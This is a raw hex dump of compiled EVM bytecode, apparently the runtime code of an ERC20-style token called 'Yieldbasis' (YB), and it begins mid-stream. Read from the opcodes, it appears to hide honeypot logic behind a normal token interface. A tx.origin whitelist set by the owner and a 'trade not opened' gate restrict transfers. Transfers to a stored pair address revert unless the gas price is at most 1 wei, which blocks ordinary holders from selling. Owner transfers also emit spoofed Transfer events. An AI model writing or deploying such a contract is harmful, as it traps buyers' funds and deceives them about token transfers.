1e1f565b60405180910390f35b610569600480360381019061056491906119ce565b610dfa565b005b60606040518060400160405280600a81526020017f5969656c64626173697300000000000000000000000000000000000000000000815250905090565b5f6105b4338484610eae565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461064d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064490611ec0565b60405180910390fd5b600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600254905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461073d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073490611f28565b60405180910390fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f61078c848484611071565b610821843361081c8560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111f990919063ffffffff16565b610eae565b600190509392505050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f6012905090565b5f5b8151811015610869578080600101915050610853565b5050565b5f61090333846108fe8560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125690919063ffffffff16565b610eae565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611f28565b60405180910390fd5b5f5b82518110156109f3576109e6338483815181106109be576109bd611f46565b5b60200260200101518484815181106109d9576109d8611f46565b5b6020026020010151611071565b808060010191505061099e565b50505050565b610a0333826112b3565b50565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b565b600660149054906101000a900460ff1681565b5f601260ff16600a610ab591906120cf565b633b9aca00610ac49190612119565b90505f601260ff16600a610ad891906120cf565b633b9aca00610ae79190612119565b90505050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b565b60606040518060400160405280600281526020017f5942000000000000000000000000000000000000000000000000000000000000815250905090565b565b5f610c6a338484611071565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfa90611f28565b60405180910390fd5b6001600660146101000a81548160ff021916908315150217905550565b5f610d2d33846001611434565b6001905092915050565b5f5b8151811015610d4f578080600101915050610d39565b5050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f906121a4565b60405180910390fd5b5f8111610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea19061220c565b60405180910390fd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f139061229a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8190612328565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110649190611a79565b60405180910390a3505050565b60035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156110d0576110cb838383611481565b6111f4565b600660149054906101000a900460ff1661111f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111690612390565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156111c8575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156111e8576111d78382610d20565b506111e3838383611481565b6111f4565b6111f3838383611481565b5b505050565b5f8282111561123d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611234906123f8565b60405180910390fd5b5f828461124a9190612416565b90508091505092915050565b5f8082846112649190612449565b9050838110156112a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a0906124c6565b60405180910390fd5b8091505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611321576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131890612554565b60405180910390fd5b611336816002546111f990919063ffffffff16565b60028190555061138b815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111f990919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114289190611a79565b60405180910390a35050565b5f3a90508181111561147b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147290612595565b60405180910390fd5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e690612623565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361155d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611554906126b1565b60405180910390fd5b6115ac815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111f990919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061163b815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125690919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361175a578173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161174d9190611a79565b60405180910390a3611836565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118355760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161182c9190611a79565b60405180910390a35b5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118939190611a79565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6118e2826118a0565b6118ec81856118aa565b93506118fc8185602086016118ba565b611905816118c8565b840191505092915050565b5f6020820190508181035f83015261192881846118d8565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61196a82611941565b9050919050565b61197a81611960565b8114611984575f80fd5b50565b5f8135905061199581611971565b92915050565b5f819050919050565b6119ad8161199b565b81146119b7575f80fd5b50565b5f813590506119c8816119a4565b92915050565b5f80604083850312156119e4576119e3611939565b5b5f6119f185828601611987565b9250506020611a02858286016119ba565b9150509250929050565b5f8115159050919050565b611a2081611a0c565b82525050565b5f602082019050611a395f830184611a17565b92915050565b5f60208284031215611a5457611a53611939565b5b5f611a6184828501611987565b91505092915050565b611a738161199b565b82525050565b5f602082019050611a8c5f830184611a6a565b92915050565b5f805f60608486031215611aa957611aa8611939565b5b5f611ab686828701611987565b9350506020611ac786828701611987565b9250506040611ad8868287016119ba565b9150509250925092565b5f60ff82169050919050565b611af781611ae2565b82525050565b5f602082019050611b105f830184611aee565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611b50826118c8565b810181811067ffffffffffffffff82111715611b6f57611b6e611b1a565b5b80604052505050565b5f611b81611930565b9050611b8d8282611b47565b919050565b5f67ffffffffffffffff821115611bac57611bab611b1a565b5b602082029050602081019050919050565b5f80fd5b5f611bd3611bce84611b92565b611b78565b90508083825260208201905060208402830185811115611bf657611bf5611bbd565b5b835b81811015611c1f5780611c0b8882611987565b845260208401935050602081019050611bf8565b5050509392505050565b5f82601f830112611c3d57611c3c611b16565b5b8135611c4d848260208601611bc1565b91505092915050565b5f60208284031215611c6b57611c6a611939565b5b5f82013567ffffffffffffffff811115611c8857611c8761193d565b5b611c9484828501611c29565b91505092915050565b5f67ffffffffffffffff821115611cb757611cb6611b1a565b5b602082029050602081019050919050565b5f611cda611cd584611c9d565b611b78565b90508083825260208201905060208402830185811115611cfd57611cfc611bbd565b5b835b81811015611d265780611d1288826119ba565b845260208401935050602081019050611cff565b5050509392505050565b5f82601f830112611d4457611d43611b16565b5b8135611d54848260208601611cc8565b91505092915050565b5f805f60608486031215611d7457611d73611939565b5b5f611d8186828701611987565b935050602084013567ffffffffffffffff811115611da257611da161193d565b5b611dae86828701611c29565b925050604084013567ffffffffffffffff811115611dcf57611dce61193d565b5b611ddb86828701611d30565b9150509250925092565b5f60208284031215611dfa57611df9611939565b5b5f611e07848285016119ba565b91505092915050565b611e1981611960565b82525050565b5f602082019050611e325f830184611e10565b92915050565b5f8060408385031215611e4e57611e4d611939565b5b5f611e5b85828601611987565b9250506020611e6c85828601611987565b9150509250929050565b7f7075626c696300000000000000000000000000000000000000000000000000005f82015250565b5f611eaa6006836118aa565b9150611eb582611e76565b602082019050919050565b5f6020820190508181035f830152611ed781611e9e565b9050919050565b7f6e616e00000000000000000000000000000000000000000000000000000000005f82015250565b5f611f126003836118aa565b9150611f1d82611ede565b602082019050919050565b5f6020820190508181035f830152611f3f81611f06565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611ff557808604811115611fd157611fd0611f73565b5b6001851615611fe05780820291505b8081029050611fee85611fa0565b9450611fb5565b94509492505050565b5f8261200d57600190506120c8565b8161201a575f90506120c8565b8160018114612030576002811461203a57612069565b60019150506120c8565b60ff84111561204c5761204b611f73565b5b8360020a91508482111561206357612062611f73565b5b506120c8565b5060208310610133831016604e8410600b841016171561209e5782820a90508381111561209957612098611f73565b5b6120c8565b6120ab8484846001611fac565b925090508184048111156120c2576120c1611f73565b5b81810290505b9392505050565b5f6120d98261199b565b91506120e48361199b565b92506121117fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611ffe565b905092915050565b5f6121238261199b565b915061212e8361199b565b925082820261213c8161199b565b9150828204841483151761215357612152611f73565b5b5092915050565b7f496e76616c6964206164647265737300000000000000000000000000000000005f82015250565b5f61218e600f836118aa565b91506121998261215a565b602082019050919050565b5f6020820190508181035f8301526121bb81612182565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e207a65726f5f82015250565b5f6121f66020836118aa565b9150612201826121c2565b602082019050919050565b5f6020820190508181035f830152612223816121ea565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6122846024836118aa565b915061228f8261222a565b604082019050919050565b5f6020820190508181035f8301526122b181612278565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6123126022836118aa565b915061231d826122b8565b604082019050919050565b5f6020820190508181035f83015261233f81612306565b9050919050565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f61237a601d836118aa565b915061238582612346565b602082019050919050565b5f6020820190508181035f8301526123a78161236e565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f6123e2601e836118aa565b91506123ed826123ae565b602082019050919050565b5f6020820190508181035f83015261240f816123d6565b9050919050565b5f6124208261199b565b915061242b8361199b565b925082820390508181111561244357612442611f73565b5b92915050565b5f6124538261199b565b915061245e8361199b565b925082820190508082111561247657612475611f73565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6124b0601b836118aa565b91506124bb8261247c565b602082019050919050565b5f6020820190508181035f8301526124dd816124a4565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f61253e6021836118aa565b9150612549826124e4565b604082019050919050565b5f6020820190508181035f83015261256b81612532565b9050919050565b50565b5f6125805f836118aa565b915061258b82612572565b5f82019050919050565b5f6020820190508181035f8301526125ac81612575565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61260d6025836118aa565b9150612618826125b3565b604082019050919050565b5f6020820190508181035f83015261263a81612601565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61269b6023836118aa565b91506126a682612641565b604082019050919050565b5f6020820190508181035f8301526126c88161268f565b905091905056fea2646970667358221220a2e46a793d3c43f51acfc7972441471c887abc5bc596185abc6ecb6b1e03b8e664736f6c63430008190033